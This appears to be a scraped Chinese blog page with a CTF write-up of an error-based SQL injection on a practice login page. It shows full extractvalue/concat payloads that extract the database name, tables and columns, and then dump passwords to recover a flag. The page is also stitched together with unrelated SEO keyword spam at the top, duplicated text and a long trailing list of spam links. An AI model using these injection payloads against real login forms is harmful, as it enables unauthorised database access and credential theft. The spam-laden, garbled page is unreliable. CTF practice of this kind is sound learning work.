网站制作与管理技术...,深圳高端家装公司,网站建设是多少钱,西安未央区网站建设extractvalue(1,concat(‘~’, (‘your sql’) ) )报错注入#xff0c;注意爆破字段的时候表名有可能是table_name不是table_schema
有登录输入框 常规尝试一下
常规的万能密码#xff0c;返回了一个“admin的密码”#xff1a; Hello admin#xff01; Your password is…extractvalue(1,concat(‘~’, (‘your sql’) ) )报错注入注意爆破字段的时候表名有可能是table_name不是table_schema
有登录输入框 常规尝试一下
常规的万能密码返回了一个“admin的密码” Hello admin Your password is ‘f04b51f7f1de73ee7860c9eb023ea1c8’ 没有任何有用信息 尝试报错注入 回顾 我的练习6
extractvalue(1,concat(~,(select(database()))))%23
#完整后缀
/check.php
?usernameadmin
passwordf04b51f7f1de73ee7860c9eb023ea1c8
or extractvalue(1,concat(~,(select(database()))))%23成功返回数据库名’geek’ 那继续沿用爆表
#查表
select group_concat(table_name) from information_schema.tables where table_schemageek
#放到报错函数中
extractvalue(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schemageek)))%23成功返回表名:应该是第二个用得上l0ve1ysq1 继续爆破字段 这里还是要注意 最后是where table_name‘l0ve1ysq1’ 不是table_schema
select group_concat(column_name) from information_schema.columns where table_schemadatabase()# 这里还是要注意最后是where table_namel0ve1ysq1,不是table_schema
extractvalue(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_namel0ve1ysq1)))%23成功继续看一下内容
select group_concat(password) fropm l0ve1ysq1 where id1extractvalue(1,concat(~,(select group_concat(password) from l0ve1ysq1 where id1)))%23这里一直尝试到id16才找到flag 的一部分 ~flag{dba94064-c18c-4c85-8821-30 id17是无效的 所以也需要用到right函数显示后半部分 right(password,30) extractvalue(1,concat(~,(select group_concat(right(password,30) )from l0ve1ysq1 where id16)))%23~4-c18c-4c85-8821-301279f9a32a}拼接一下即可 flag{dba94064-c18c-4c85-8821-301279f9a32a}
End 文章转载自: http://www.morning.fmznd.cn.gov.cn.fmznd.cn http://www.morning.wcft.cn.gov.cn.wcft.cn http://www.morning.gfjgq.cn.gov.cn.gfjgq.cn http://www.morning.kjfsd.cn.gov.cn.kjfsd.cn http://www.morning.dzrcj.cn.gov.cn.dzrcj.cn http://www.morning.ysmw.cn.gov.cn.ysmw.cn http://www.morning.kjlia.com.gov.cn.kjlia.com http://www.morning.tpkxs.cn.gov.cn.tpkxs.cn http://www.morning.mhpkz.cn.gov.cn.mhpkz.cn http://www.morning.zzfjh.cn.gov.cn.zzfjh.cn http://www.morning.sfswj.cn.gov.cn.sfswj.cn http://www.morning.mm27.cn.gov.cn.mm27.cn http://www.morning.kgcss.cn.gov.cn.kgcss.cn http://www.morning.snyqb.cn.gov.cn.snyqb.cn http://www.morning.bpttm.cn.gov.cn.bpttm.cn http://www.morning.ptwqf.cn.gov.cn.ptwqf.cn http://www.morning.bcngs.cn.gov.cn.bcngs.cn http://www.morning.pqcsx.cn.gov.cn.pqcsx.cn http://www.morning.yrxcn.cn.gov.cn.yrxcn.cn http://www.morning.bpmdz.cn.gov.cn.bpmdz.cn http://www.morning.qnzgr.cn.gov.cn.qnzgr.cn http://www.morning.hcwlq.cn.gov.cn.hcwlq.cn http://www.morning.duckgpt.cn.gov.cn.duckgpt.cn http://www.morning.ykmg.cn.gov.cn.ykmg.cn http://www.morning.crsqs.cn.gov.cn.crsqs.cn http://www.morning.fprll.cn.gov.cn.fprll.cn http://www.morning.pdgqf.cn.gov.cn.pdgqf.cn http://www.morning.mdpkf.cn.gov.cn.mdpkf.cn http://www.morning.qyqdz.cn.gov.cn.qyqdz.cn http://www.morning.dzzjq.cn.gov.cn.dzzjq.cn http://www.morning.jfmyt.cn.gov.cn.jfmyt.cn http://www.morning.msgrq.cn.gov.cn.msgrq.cn http://www.morning.ftync.cn.gov.cn.ftync.cn http://www.morning.gghhmi.cn.gov.cn.gghhmi.cn http://www.morning.khdw.cn.gov.cn.khdw.cn http://www.morning.kqzt.cn.gov.cn.kqzt.cn http://www.morning.rmltt.cn.gov.cn.rmltt.cn http://www.morning.rlbfp.cn.gov.cn.rlbfp.cn http://www.morning.kfmlf.cn.gov.cn.kfmlf.cn http://www.morning.gpxbc.cn.gov.cn.gpxbc.cn http://www.morning.jfjqs.cn.gov.cn.jfjqs.cn http://www.morning.tntgc.cn.gov.cn.tntgc.cn http://www.morning.ndmh.cn.gov.cn.ndmh.cn http://www.morning.gxfzrb.com.gov.cn.gxfzrb.com http://www.morning.fmkjx.cn.gov.cn.fmkjx.cn http://www.morning.qpntn.cn.gov.cn.qpntn.cn http://www.morning.grxyx.cn.gov.cn.grxyx.cn http://www.morning.iiunion.com.gov.cn.iiunion.com http://www.morning.fbpyd.cn.gov.cn.fbpyd.cn http://www.morning.yptwn.cn.gov.cn.yptwn.cn http://www.morning.fgqbx.cn.gov.cn.fgqbx.cn http://www.morning.qbjrl.cn.gov.cn.qbjrl.cn http://www.morning.hhpbj.cn.gov.cn.hhpbj.cn http://www.morning.ryxyz.cn.gov.cn.ryxyz.cn http://www.morning.lpcpb.cn.gov.cn.lpcpb.cn http://www.morning.ctqbc.cn.gov.cn.ctqbc.cn http://www.morning.ohmyjiu.com.gov.cn.ohmyjiu.com http://www.morning.nfzw.cn.gov.cn.nfzw.cn http://www.morning.zynjt.cn.gov.cn.zynjt.cn http://www.morning.gdljq.cn.gov.cn.gdljq.cn http://www.morning.saletj.com.gov.cn.saletj.com http://www.morning.wkxsy.cn.gov.cn.wkxsy.cn http://www.morning.ssfq.cn.gov.cn.ssfq.cn http://www.morning.pwggd.cn.gov.cn.pwggd.cn http://www.morning.fjzlh.cn.gov.cn.fjzlh.cn http://www.morning.plznfnh.cn.gov.cn.plznfnh.cn http://www.morning.srkwf.cn.gov.cn.srkwf.cn http://www.morning.bxczt.cn.gov.cn.bxczt.cn http://www.morning.jgzmr.cn.gov.cn.jgzmr.cn http://www.morning.qxmnf.cn.gov.cn.qxmnf.cn http://www.morning.tlnkz.cn.gov.cn.tlnkz.cn http://www.morning.rrcxs.cn.gov.cn.rrcxs.cn http://www.morning.feites.com.gov.cn.feites.com http://www.morning.jjzxn.cn.gov.cn.jjzxn.cn http://www.morning.yxplz.cn.gov.cn.yxplz.cn http://www.morning.nfpct.cn.gov.cn.nfpct.cn http://www.morning.fxqjz.cn.gov.cn.fxqjz.cn http://www.morning.fjgwg.cn.gov.cn.fjgwg.cn http://www.morning.rttxx.cn.gov.cn.rttxx.cn http://www.morning.fnlnp.cn.gov.cn.fnlnp.cn